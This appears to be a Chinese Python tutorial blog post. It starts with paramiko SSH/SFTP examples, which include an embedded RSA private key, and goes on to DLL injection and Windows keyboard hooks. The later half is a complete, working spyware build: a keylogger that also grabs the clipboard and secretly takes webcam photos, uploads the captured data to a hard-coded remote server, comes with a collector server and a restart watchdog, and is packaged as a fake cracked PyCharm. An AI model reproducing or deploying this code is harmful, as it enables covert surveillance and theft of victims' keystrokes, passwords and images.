Python并发编程——paramiko远程控制的模块、病毒攻击原理、dll注入、
文章目录
paramiko模块
- 介绍: paramiko是一个用于做远程控制的模块,使用该模块可以对远程服务器进行命令或文件操作,值得一说的是,fabric和ansible内部的远程管理就是使用的paramiko来现实。 2. 下载安装
pip3 install paramiko #在python3中
在python2中
pycrypto,由于 paramiko 模块内部依赖pycrypto,所以先下载安装pycrypto #在python2中
pip3 install pycrypto
pip3 install paramiko
注:如果在安装pycrypto2.0.1时发生如下错误
command 'gcc' failed with exit status 1...
可能是缺少python-dev安装包导致
如果gcc没有安装,请事先安装gcc
- 使用 SSHClient 用于连接远程服务器并执行基本命令 基于用户名密码连接:
import paramiko
# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
ssh.connect(hostname='120.92.84.249', port=22, username='root', password='xxx')
# 执行命令
stdin, stdout, stderr = ssh.exec_command('df')
# 获取命令结果
result = stdout.read()
print(result.decode('utf-8'))
# 关闭连接
ssh.close()
SSHClient 封装 Transport
import paramiko
transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', password='xxx')
ssh = paramiko.SSHClient()
ssh._transport = transport
stdin, stdout, stderr = ssh.exec_command('df')
res=stdout.read()
print(res.decode('utf-8'))
transport.close()
基于公钥密钥连接: 客户端文件名:id_rsa 服务端必须有文件名: authorized_keys(在用ssh-keygen时,必须制作一个authorized_keys,可以用ssh-copy-id来制作)
import paramiko
private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')
# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
ssh.connect(hostname='120.92.84.249', port=22, username='root', pkey=private_key)
# 执行命令
stdin, stdout, stderr = ssh.exec_command('df')
# 获取命令结果
result = stdout.read()
print(result.decode('utf-8'))
# 关闭连接
ssh.close()
SSHClient 封装 Transport
import paramiko
private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')
transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key)
ssh = paramiko.SSHClient()
ssh._transport = transport
stdin, stdout, stderr = ssh.exec_command('df')
result=stdout.read()
print(result.decode('utf-8'))
transport.close()
基于私钥字符串进行连接
import paramiko
from io import StringIO
key_str = """-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAsJmFLrSeCumJvga0Gl5O5wVOVwMIy2MpqIyQPi5J87dg89a4
Da9fczJog7qoSbRwHFOQoCHNphSlp5KPhGsF6RJewkIw9H1UKV4dCOyl/4HOAkAD
rKrsEDmrJ9JlzF2GTTZSnTgVQWcvBS2RKB4eM2R9aJ11xV6X2Hk4YDLTExIWeabb
h2TUKw0iyjI8pRuYLKkF2X16u9TBwfOTroGYgiNFHQvhsQppbEbI49NF2XkCkFMi
8/7tLjf95InE/VUUq56JqfzyHwdpHou+waXbwtvGgXN3sz+KkuEv6R2qDz06upZV
FCZRRpDhzoR8Uh/UEzTGZb8z7FB6EJXUiXJikQIBIwKCAQBBmBuGYFf1bK+BGG7H
9ySe81ecqVsJtx4aCFLVRGScWg4RbQKIvXs5an6XU/VdNGQnx0RYvBkvDvuzRRC8
J8Bd4kB0CfTtGJuaVigKoQp02HEWx1HSa17+tlWD0c4KFBvwywi+DYQ83S64x8gz
eOalX9bPFenqORPUD8R7gJeKvPVc6ZTPeorpuH7u9xayP0Eop8qKxZza9Xh3foVj
Qo4IxoYnDN57CIRX5PFSlDDggpmr8FtRF4nAxmFq8LhSp05ivzX/Ku1SNHdaMWZO
7va8tISXdLI5m0EGzoVoBvohIbwlxI6kfmamrh6Eas2Jnsc4CLzMsR4jBWt0LHLv
/SLnAoGBANaEUf/Jptab9G/xD9W2tw/636i3gLpTPY9KPtCcAxqStNeT6RAWZ5HF
lKJg+NKpu3pI45ldAwvts0i+aCZk2xakEWIZWqCmXm31JSPDQTaMGe7H0vOmUaxx
ncdpBVdvhMbfFUgei15iKfuafgrKaS9oIkntXEgrC+3wBOI0Gbx3AoGBANLAGxAF
TK7ydr+Q1+6/ujs6e8WsXt8HZMa/1khCVSbrf1MgACvZPSSSrDpVwaDTSjlRI4AL
bb0l0RFU+/0caMiHilscuJdz9Fdd9Ux4pjROZa3TF5CFhvP7PsZAoxOo+yqJg4zr
996GG/aAv4M8lQJ2rDFk/Dgn5y/AaAun1oM3AoGAGIQmoOPYjY4qkHNSRE9lYOl4
pZFQilKn8x5tlC8WTC4GCgJGhX7nQ9wQ/J1eQ/YkDfmznH+ok6YjHkGlgLsRuXHW
GdcDCwuzBUCWh76LHC1EytUCKnloa3qy8jfjWnMlHgrd3FtDILrC+C7p1Vj2FAvm
qVz0moiTpioPL8twp9MCgYEAin49q3EyZFYwxwdpU7/SJuvq750oZq0WVriUINsi
A6IR14oOvbqkhb94fhsY12ZGt/N9uosq22H+anms6CicoQicv4fnBHDFI3hCHE9I
pgeh50GTJHUA6Xk34V2s/kp5KpThazv6qCw+QubkQExh660SEdSlvoCfPKMCi1EJ
TukCgYAZKY1NZ2bjJyyO/dfNvMQ+etUL/9esi+40GUGyJ7SZcazrN9z+DO0yL39g
7FT9NMIc2dsmNJQMaGBCDl0AjO1O3b/wqlrNvNBGkanxn2Htn5ajfo+LBU7yHAcV
7w4X5HLarXiE1mj0LXFKJhdvFqU53KUQJXBqR6lsMqzsdPwLMJg==
-----END RSA PRIVATE KEY-----"""
private_key = paramiko.RSAKey(file_obj=StringIO(key_str))
transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key)
ssh = paramiko.SSHClient()
ssh._transport = transport
stdin, stdout, stderr = ssh.exec_command('df')
result = stdout.read()
print(result.decode('utf-8'))
transport.close()
print(result)
SFTPClient 用于连接远程服务器并执行上传下载 基于用户名密码上传下载
import paramiko
transport = paramiko.Transport(('120.92.84.249',22))
transport.connect(username='root',password='xxx')
sftp = paramiko.SFTPClient.from_transport(transport)
# 将location.py 上传至服务器 /tmp/test.py
sftp.put('/tmp/id_rsa', '/etc/test.rsa')
# 将remove_path 下载到本地 local_path
sftp.get('remove_path', 'local_path')
transport.close()
基于公钥密钥上传下载
import paramiko
private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')
transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key )
sftp = paramiko.SFTPClient.from_transport(transport)
# 将location.py 上传至服务器 /tmp/test.py
sftp.put('/tmp/id_rsa', '/tmp/a.txt')
# 将remove_path 下载到本地 local_path
sftp.get('remove_path', 'local_path')
transport.close()
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import paramiko
import uuid
class Haproxy(object):
def __init__(self):
self.host = '172.16.103.191'
self.port = 22
self.username = 'root'
self.pwd = '123'
self.__k = None
def create_file(self):
file_name = str(uuid.uuid4())
with open(file_name,'w') as f:
f.write('sb')
return file_name
def run(self):
self.connect()
self.upload()
self.rename()
self.close()
def connect(self):
transport = paramiko.Transport((self.host,self.port))
transport.connect(username=self.username,password=self.pwd)
self.__transport = transport
def close(self):
self.__transport.close()
def upload(self):
# 连接,上传
file_name = self.create_file()
sftp = paramiko.SFTPClient.from_transport(self.__transport)
# 将location.py 上传至服务器 /tmp/test.py
sftp.put(file_name, '/home/root/tttttttttttt.py')
def rename(self):
ssh = paramiko.SSHClient()
ssh._transport = self.__transport
# 执行命令
stdin, stdout, stderr = ssh.exec_command('mv /home/root/tttttttttttt.py /home/root/ooooooooo.py')
# 获取命令结果
result = stdout.read()
ha = Haproxy()
ha.run()
作业
题目:简单主机批量管理工具 需求:
- 主机分组 2. 主机信息配置文件用configparser解析 3. 可批量执行命令、发送文件,结果实时返回,执行格式如下 batch_run -h h1,h2,h3 -g web_clusters,db_servers -cmd “df -h” batch_scp -h h1,h2,h3 -g web_clusters,db_servers -action put -local test.py -remote /tmp/ 4. 主机用户名密码、端口可以不同 5. 执行远程命令使用paramiko模块 6. 批量命令需使用multiprocessing并发
攻击原理解析
一、什么是dll
动态链接库(Dynamic Link Library 或者 Dynamic-link Library,缩写为 DLL) 是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。 这些库函数的扩展名是 ”.dll"、“.ocx”(包含ActiveX控制的库)或者 “.drv”(旧式的系统驱动程序)。 pip3 install
二、为何要有dll
由于进程的地址空间是独立的(保护模式),当多个进程共享相同的库时,每个库都在硬盘和进程彼此的内存
存放一份的话,对于早期的计算机来说,无疑是一种极大的浪费,于是windows系统推出了dll机制,
dll在硬盘上存为一个文件,在内存中使用一个实例(instance)。
详细如下:
在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,
每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。
理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,
那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。
因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
什么是dll注入:
我们可以利用dll机制来实训进程通信或控制其它进程的应用程序。
所谓的dll注入正是是让进程A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码,从而
达到A进程控制B进程的目的
注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,
程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,
因此程序B的开发者可以对程序A为所欲为。
什么时候需要dll注入
应用程序一般会在以下情况使用dll注入技术来完成某些功能:
1.为目标进程添加新的“实用”功能;
2.需要一些手段来辅助调试被注入dll的进程;
3.为目标进程安装钩子程序(API Hook);
dll注入的方法
一般情况下有如下dll注入方法:
1.修改注册表来注入dll;
2.使用CreateRemoteThread函数对运行中的进程注入dll;
3.使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll;
4.替换应用程序一定会使用的dll;
5.把dll作为调试器来注入;
6.用CreateProcess对子进程注入dll
7.修改被注入进程的exe的导入地址表。
ps:
杀毒软件常用钩子来进行处理
使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll
ctypes是Python的外部函数库,从Python2.5开始引入。它提供了C兼容的数据类型, 并且允许调用动态链接库/共享库中的函数。它可以将这些库包装起来给Python使用。
ctypes.windll.user32下主要用到三个函数,分别是
SetWindowsHookEx() 、CallNextHookEx()和UnhookWindowsHookEx()
消息钩子:Windows操作系统为用户提供了GUI(Graphic User Interface,图形用户界面), 它以事件驱动方式工作。在操作系统中借助键盘、鼠标、选择菜单、按钮、移动鼠标、改变窗口大小与位置等都是事件。 发生这样的事件时,操作系统会把事先定义好的消息发送给相应的应用程序,应用程序分析收到的信息后会执行相应的动作。 也就是说,在敲击键盘时,消息会从操作系统移动到应用程序。 所谓的消息钩子就是在此期间偷看这些信息。以键盘输入事件为例,消息的流向如下: 1.发生键盘输入时,WM_KEYDOWN消息被添加到操作系统的消息队列中; 2.操作系统判断这个消息产生于哪个应用程序,并将这个消息从消息队列中取出,添加到相应的应用程序的消息队列中; 3.应用程序从自己的消息队列中取出WM_KEYDOWN消息并调用相应的处理程序。 当我们的钩子程序启用后,操作系统在将消息发送给用用程序前会先发送给每一个注册了相应钩子类型的钩子函数。钩子函数可以对这一消息做出想要的处理(修改、拦截等等)。多个消息钩子将按照安装钩子的先后顺序被调用,这些消息钩子在一起组成了"钩链"。消息在钩链之间传递时任一钩子函数拦截了消息,接下来的钩子函数(包括应用程序)将都不再收到该消息。 像这样的消息钩子功能是Windows提供的最基本的功能,MS Visual Studio中提供的SPY++就是利用了这一功能来实现的,SPY++是一个十分强大的消息钩取程序,它能够查看操作系统中来往的所有消息。 消息钩子是使用SetWindowsHookEx来实现的。函数的原型如下:
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
idHook参数是消息钩子的类型,可以选择的类型在MSDN中可以查看到相应的宏定义。比如我们想对所有的键盘消息做挂钩,其取值将是WH_KEYBOARD,WH_KEYBOARD这个宏的值是2。 lpfn参数是钩子函数的起始地址,注意:不同的消息钩子类型的钩子函数原型是不一样的,因为不同类型的消息需要的参数是不同的,具体的钩子函数原型需要查看MSDN来获得。注意:钩子函数可以在结束前任意位置调用CallNextHookEx函数来执行钩链的其他钩子函数。当然,如果不调用这个函数,钩链上的后续钩子函数将不会被执行。 hMod参数是钩子函数所在的模块的模块句柄。 dwThreadId参数用来指示要对哪一个进程/线程安装消息钩子。如果这个参数为0,安装的消息钩子称为“全局钩子”,此时将对所有的进程(当前的进程以及以后要运行的所有进程)下这个消息钩子。注意:有的类型的钩子只能是全局钩子。 注意:钩子函数应当放在一个dll中,并且在你的进程中LoadLibrary这个dll。然后再调用SetWindowsHookEx函数对相应类型的消息安装钩子。 当SetWindowsHookEx函数调用成功后,当某个进程生成这一类型的消息时,操作系统会判断这个进程是否被安装了钩子,如果安装了钩子,操作系统会将相关的dll文件强行注入到这个进程中并将该dll的锁计数器递增1。然后再调用安装的钩子函数。整个注入过程非常方便,用户几乎不需要做什么。 当用户不需要再进行消息钩取时只需调用UnhookWindowsHookEx即可解除安装的消息钩子,函数的原型如下:
BOOL WINAPI UnhookWindowsHookEx(
_In_ HHOOK hhk
);
hhk参数是之前调用SetWindowsHookEx函数返回的HOOK变量/句柄。这个函数调用成功后会使被注入过dll的锁计数器递减1,当锁计数器减到0时系统会卸载被注入的dll。
这种类型的dll注入的优点是注入简单,缺点是只能对windows消息进行Hook并注入dll,而且注入dll可能不是立即被注入,因为这需要相应类型的事件发生。其次是它不能进行其他API的Hook,如果想对其它的函数进行Hook,你需要再在被注入的dll中添加用于API Hook的代码。 dll注入代码包含两部分,一部分是dll的源文件,另一部分是控制台程序的源代码。 HMODULE Hmod = LoadLibraryA(“hookdll.dll”);
准备工作
#1、最新anocoda3.7
https://www.anaconda.com/distribution/#download-section
#2、提速下载可以改变源
pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
#3、安装pywin32,安装时指定安装目录,默认为C:\Python37\Lib\site-packages\
https://github.com/mhammond/pywin32/releases
#4、安装opencv-python
pip install opencv-python
#5、安装pyinstaller,依赖pyin32
pip install pyinstaller
#6、ico文件准备好
在线制作
or
https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html
#7、了解一下要用到的功能:
from time import sleep,strftime
from os import listdir,remove
from os.path import exists, getsize,abspath,expanduser,basename
from sys import exit
from struct import pack
from json import dumps
from socket import socket, AF_INET, SOCK_STREAM
from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard
from win32con import HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ, FILE_ATTRIBUTE_HIDDEN, WH_KEYBOARD_LL, WM_KEYDOWN
from win32api import GetConsoleTitle, RegOpenKey, RegSetValueEx, RegCloseKey, SetFileAttributes
from win32gui import FindWindow, ShowWindow
from cv2 import VideoCapture, CAP_DSHOW, imwrite, destroyAllWindows
from ctypes import windll # windll.user32、windll.kernel32
from ctypes import CFUNCTYPE
from ctypes import byref
from ctypes import POINTER
from ctypes import c_int, c_void_p
from ctypes.wintypes import MSG
from threading import Timer
from threading import Thread
from threading import Lock
步骤
1、先编写病毒程序=>WinCoreManagerment.py
监听键盘输入->并记录日志
锁定键盘功能
偷拍功能->保存图片文件
上传数据功能:套接字客户度
WinCoreManagerment.py
import sys
import os
import time
import socket
import struct
import json
import win32clipboard # 剪贴板操作,需要安装pywin32才可以
import win32con
import win32api
import cv2
from ctypes import windll
from ctypes import CFUNCTYPE
from ctypes import POINTER
from ctypes import c_int, c_void_p
from ctypes import byref
from ctypes.wintypes import MSG
from threading import Timer
from threading import Thread
from threading import Lock
# 工具
class Utils:
def __init__(self):
# 用户家目录
self.base_dir = os.path.expanduser('~') # 权限问题
# 初始化生成日志文件
self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir
open(self.log_path, 'a', encoding='utf-8').close()
win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN)
# 定义两把锁,控制读写
self.mutex_log = Lock() # 日志锁
self.mutex_photo = Lock() # 照片锁
self.mutex_sock = Lock() # 套接字上传锁
# 服务端的ip和port
self.server_ip = '115.29.65.16'
self.server_port = 9999
# 本地调试日志
self.debug = True
self.debug_log_path = r'%s/debug_log' % self.base_dir
self.mutex_debug = Lock()
def log_debug(self, res):
if not self.debug:
return
self.mutex_debug.acquire()
with open(self.debug_log_path, mode='a', encoding='utf-8') as f:
f.write('\n%s\n' % res)
f.flush()
self.mutex_debug.release()
def log(self, res):
self.mutex_log.acquire()
with open(self.log_path, mode='a', encoding='utf-8') as f:
f.write(res)
f.flush()
self.mutex_log.release()
def take_photoes(self):
while True:
time.sleep(10)
photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S'))
cap = None
try:
# VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…,
# 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”)
# CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数
cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
ret, frame = cap.read()
self.mutex_photo.acquire()
cv2.imwrite(photo_path, frame)
except Exception as e:
self.log_debug('照相异常: %s' % e)
finally:
# 无论如何都要释放锁,关闭相机
self.mutex_photo.release()
if cap is not None:
cap.release() # None.release()
cv2.destroyAllWindows()
if os.path.exists(photo_path):
win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)
def send_data(self, headers, data):
try:
self.mutex_sock.acquire() # 上传数据的过程中不要做其他事情
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((self.server_ip, self.server_port))
head_json = json.dumps(headers)
head_json_bytes = bytes(head_json, encoding='utf-8')
client.send(struct.pack('i', len(head_json_bytes)))
client.send(head_json_bytes)
client.sendall(data)
client.close()
res = (True, 'ok')
except ConnectionRefusedError as e:
msg = '套接字服务端未启动: %s' % e
res = (False, msg)
except Exception as e:
msg = '套接字其他错误:%s' % e
res = (False, msg)
finally:
self.mutex_sock.release()
return res
def upload_log(self):
while True:
time.sleep(1)
if not os.path.getsize(self.log_path):
continue
self.mutex_log.acquire()
with open(self.log_path, mode='rb+') as f:
data = f.read()
self.mutex_log.release()
headers = {
'data_size': len(data),
'filename': os.path.basename(self.log_path)
}
self.log_debug('正在往服务端发送日志......[%s]' % data)
is_ok, msg = self.send_data(headers, data)
if is_ok:
self.log_debug('日志[%s]发送成功。。。' % data)
else:
self.log_debug('日志[%s]发送失败:%s' % (data, msg))
continue
f.truncate(0)
def upload_photoes(self):
while True:
time.sleep(3)
files = os.listdir(self.base_dir)
files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')]
for file_name in files_jpeg:
file_path = r'%s/%s' % (self.base_dir, file_name)
if not os.path.exists(file_path):
continue
self.log_debug('开始上传图片: %s' % file_name)
headers = {
'data_size': os.path.getsize(file_path),
'filename': file_name
}
self.mutex_photo.acquire()
with open(file_path, mode='rb+') as f:
data = f.read()
self.mutex_photo.release()
is_ok, msg = self.send_data(headers, data)
if is_ok:
self.log_debug('图片%s发送完毕......' % file_name)
else:
self.log_debug('图片%s发送失败:%s' % (file_name, msg))
continue
os.remove(file_path)
utils = Utils()
# 定义类:定义拥有挂钩与拆钩功能的类
class Toad:
def __init__(self):
self.user32 = windll.user32
self.hooked = None
def __install_hook_proc(self, pointer):
self.hooked = self.user32.SetWindowsHookExA(
win32con.WH_KEYBOARD_LL, # WH_KEYBOARD_LL = 13 # 全局的键盘钩子,能拦截所有的键盘按键的消息。
pointer,
0, # 钩子函数的dll句柄,此处设置为0即可
0 # 所有线程
) # self.hooked 为注册钩子返回的句柄
return True if self.hooked else False
def install_hook_proc(self, func):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
pointer = CMPFUNC(func) # 拿到函数hookProc指针,
if self.__install_hook_proc(pointer):
utils.log_debug("%s start " % func.__name__)
msg = MSG()
# 监听/获取窗口的消息,消息进入队列后则取出交给勾链中第一个钩子
self.user32.GetMessageA(byref(msg), None, 0, 0)
def uninstall_hook_proc(self):
if self.hooked is None:
return
self.user32.UnhookWindowsHookEx(self.hooked) # 通过钩子句柄删除注册的钩子
self.hooked = None
toad_obj = Toad()
# 2、定义钩子过程(即我们要注入的逻辑):
def monitor_keyborad_proc(nCode, wParam, lParam):
# win32con.WM_KEYDOWN = 0X0100 # 键盘按下,对应数字256
# win32con.WM_KEYUP = 0x101 # 键盘起来,对应数字257,监控键盘只需要操作KEYDOWN即可
if wParam == win32con.WM_KEYDOWN:
hookedKey_ascii = 0xFFFFFFFF & lParam[0]
hookedKey = chr(hookedKey_ascii)
utils.log_debug('监听到hookeKey:[%s] hookedKey_ascii:[%s]' % (hookedKey, hookedKey_ascii))
keyboard_dic = {
220: r'<`>',
189: r'<->',
187: r'<=>',
8: r'<删除键>',
9: r'<tab>',
219: r'<[>',
221: r'<]>',
222: r'<\>',
20: r'<大小写锁定>',
186: r'<;>',
192: r"<'>",
13: r'<enter>',
160: r'<lshift>',
188: r'<,>',
190: r'<.>',
191: r'</>',
161: r'<rshift>',
162: r'<ctrl>',
32: r'<space>',
37: r'<左箭头>',
38: r'<上箭头>',
39: r'<右箭头>',
40: r'<下箭头>',
}
if (hookedKey == 'Q'): # 测试时打开,正式运行时注释这一段即可
toad_obj.uninstall_hook_proc()
sys.exit(-1)
# pass
if hookedKey_ascii in keyboard_dic: # 按下了了非常规键
res = keyboard_dic[hookedKey_ascii]
utils.log_debug('监听到输入: %s' % res)
utils.log(res)
if hookedKey_ascii > 32 and hookedKey_ascii < 127: # 检测击键是否常规按键(非组合键等)
if hookedKey == 'V' or hookedKey == 'C':
win32clipboard.OpenClipboard()
paste_value = win32clipboard.GetClipboardData() # 获取粘贴板的值
win32clipboard.CloseClipboard()
if paste_value: # 剪贴板有值,则代表上述V和C的输入是组合键,用户输入的有效数据在剪贴板里放着
utils.log(paste_value)
utils.log_debug('粘贴值: %s' % paste_value)
else:
utils.log_debug('监听到输入: %s' % repr(hookedKey))
utils.log(hookedKey)
# CallNextHookEx将钩子的信息重新放回钩链中
return windll.user32.CallNextHookEx(toad_obj.hooked, nCode, wParam, lParam)
# 钩链:钩1,钩2
def lock_keyboard_proc(nCode, wParam, lParam):
utils.log_debug('锁定键盘程序正在执行。。。。。。。。')
return 123123123123123
if __name__ == '__main__':
# 监听键盘输入->并记录日志
t1 = Thread(target=toad_obj.install_hook_proc, args=(monitor_keyborad_proc,))
# 锁定键盘功能
t2 = Timer(120, toad_obj.install_hook_proc, args=[lock_keyboard_proc, ])
# 偷拍功能->保存图片文件
t3 = Thread(target=utils.take_photoes)
# 上传数据功能:日志文件、图片文件
t4 = Thread(target=utils.upload_log)
t5 = Thread(target=utils.upload_photoes)
t2.daemon = True
t3.daemon = True
t4.daemon = True
t5.daemon = True
t1.start()
t2.start()
t3.start()
t4.start()
t5.start()
t1.join()
2、编写服务端(socketserver)
secureCRT图形界面-》windows
系统自带scp命令-》linux
python的模块-》paramiko模块
纯手写客户端套接字
Toad_server.py
import socketserver
import struct
import json
import os
import time
class ToadServer(socketserver.BaseRequestHandler):
coding = 'utf-8'
max_packet_size = 1024
def handle(self):
ip, port = self.client_address
with open(r'access.log', mode='a', encoding='utf-8') as f:
f.write('[%s] 癞蛤蟆病毒感染者-> %s:%s 正在上传数据\n' % (time.strftime('%Y-%m-%d-%H:%M:%S'), ip, port))
try:
head = self.request.recv(4)
head_json_len = struct.unpack('i', head)[0]
head_json = json.loads(self.request.recv(head_json_len).decode('utf-8'))
data_len = head_json['data_size']
filename = head_json['filename']
recv_size = 0
recv_data = b''
with open(r'client_msg/client_%s_%s' % (ip, filename), 'ab') as f:
while recv_size < data_len:
recv_data = self.request.recv(1024)
f.write(recv_data)
recv_size += len(recv_data)
except Exception as e:
# 客户端断开
self.request.close()
myserver = socketserver.ThreadingTCPServer(('0.0.0.0', 9999), ToadServer)
myserver.serve_forever()
3、服务端部署,修改安全组,开发端口
5、病毒程序制作二进制
frozen.py
'''
Pyinstaller多进程代码打包exe出现多个进程解决方案
'''
import os
import sys
import multiprocessing
# Module multiprocessing is organized differently in Python 3.4+
try:
# Python 3.4+
if sys.platform.startswith('win'):
import multiprocessing.popen_spawn_win32 as forking
else:
import multiprocessing.popen_fork as forking
except ImportError:
import multiprocessing.forking as forking
if sys.platform.startswith('win'):
# First define a modified version of Popen.
class _Popen(forking.Popen):
def __init__(self, *args, **kw):
if hasattr(sys, 'frozen'):
# We have to set original _MEIPASS2 value from sys._MEIPASS
# to get --onefile mode working.
os.putenv('_MEIPASS2', sys._MEIPASS)
try:
super(_Popen, self).__init__(*args, **kw)
finally:
if hasattr(sys, 'frozen'):
# On some platforms (e.g. AIX) 'os.unsetenv()' is not
# available. In those cases we cannot delete the variable
# but only set it to the empty string. The bootloader
# can handle this case.
if hasattr(os, 'unsetenv'):
os.unsetenv('_MEIPASS2')
else:
os.putenv('_MEIPASS2', '')
# Second override 'Popen' class with our modified version.
forking.Popen = _Popen
6、病毒程序进行伪装处理,并打包成exe
6.1 编写伪装文件:"pycharm破解版.py"
6.2 编写无限重启文件:"System.py"
6.3 打包制作二进制exe
pyinstaller -i system.ico -Fw WinCoreManagement.py
pyinstaller -i system.ico -Fw System.py
pyinstaller -i pycharm.ico -Fw pycharm破解版.py
指定-w参数后就不要设置后台运行了
6.4 将三个exe文件放入正常pycharm软件包下的bin目录下
pycharm破解版.py
import os
import subprocess
import time
import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
if __name__ == '__main__':
multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案
os.chdir(r'.')
subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序
subprocess.Popen(r'System.exe') # System.exe负责无限重启病毒程序WinCoreManagerment.exe
time.sleep(20)
System.py
import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
import subprocess
import time
import sys
import os
import win32con
import win32api
CMD = r"WinCoreManagement.exe" # 需要执行程序的绝对路径
def run(cmd):
# print('start OK!')
os.chdir(os.path.dirname(os.path.abspath(__file__)))
p = subprocess.Popen(cmd, shell=False)
p.wait() # 类似于p.join()
try:
subprocess.call('start /b taskkill /F /IM %s' % CMD) # 清理残余
except Exception as e:
# print(e)
pass
# print('子进程关闭,重启')
run(cmd)
if __name__ == '__main__':
multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案
run(CMD)
7、杀毒方法
taskkill /F /IM System.exe
taskkill /F /IM WinCoreManagement.exe
taskkill /F /IM pycharm.exe
import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
import subprocess
import time
import sys
import os
import win32con
import win32api
CMD = r"WinCoreManagement.exe" # 需要执行程序的绝对路径
def run(cmd):
# print('start OK!')
os.chdir(os.path.dirname(os.path.abspath(__file__)))
p = subprocess.Popen(cmd, shell=False)
p.wait() # 类似于p.join()
try:
subprocess.call('start /b taskkill /F /IM %s' % CMD) # 清理残余
except Exception as e:
# print(e)
pass
# print('子进程关闭,重启')
run(cmd)
if __name__ == '__main__':
multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案
run(CMD)
7、杀毒方法
taskkill /F /IM System.exe
taskkill /F /IM WinCoreManagement.exe
taskkill /F /IM pycharm.exe
Python并发编程——paramiko远程控制的模块、病毒攻击原理、dll注入、的更多相关文章
- 【JulyEdu-Python基础】第 7 课:Python并发编程以及系统常用模块
主要内容 Python多进程与多线程 Python使用Hadoop分布式计算库mrjob Python使用Spark分布式计算库PySpark 例子:分别使用MapReduce和Spark实现word ...
- python 并发编程 协程 gevent模块
一 gevent模块 gevent应用场景: 单线程下,多个任务,io密集型程序 安装 pip3 install gevent Gevent 是一个第三方库,可以轻松通过gevent实现并发同步或异步 ...
- python学习笔记(13):python并发编程以及系统常用模块
一.进程与线程 1.进程:程序的一次执行(程序装载入内存,系统分配资源运行).n 每个进程有自己的内存空间.数据栈等,只能使用进程间通讯,而不能直接共享信息 2.线程:所有线程运行在同一个进程中,共享 ...
- python 并发编程 协程 greenlet模块
一 greenlet模块 不敢是yield,还是greenlet都没有实现检测io,实现遇到io切换效果 如果我们在单个线程内有20个任务,要想实现在多个任务之间切换,使用yield生成器的方式过于麻 ...
- Python并发编程__多进程
Python并发编程_多进程 multiprocessing模块介绍 python中的多线程无法利用多核优势,如果想要充分地使用多核CPU的资源(os.cpu_count()查看),在python中大 ...
- python 并发编程 协程 目录
python 并发编程 协程 协程介绍 python 并发编程 协程 greenlet模块 python 并发编程 协程 gevent模块 python 并发编程 基于gevent模块实现并发的套接字 ...
- 《转载》Python并发编程之线程池/进程池--concurrent.futures模块
本文转载自Python并发编程之线程池/进程池--concurrent.futures模块 一.关于concurrent.futures模块 Python标准库为我们提供了threading和mult ...
- python并发编程&多进程(二)
前导理论知识见:python并发编程&多进程(一) 一 multiprocessing模块介绍 python中的多线程无法利用多核优势,如果想要充分地使用多核CPU的资源(os.cpu_cou ...
- Python进阶(4)_进程与线程 (python并发编程之多进程)
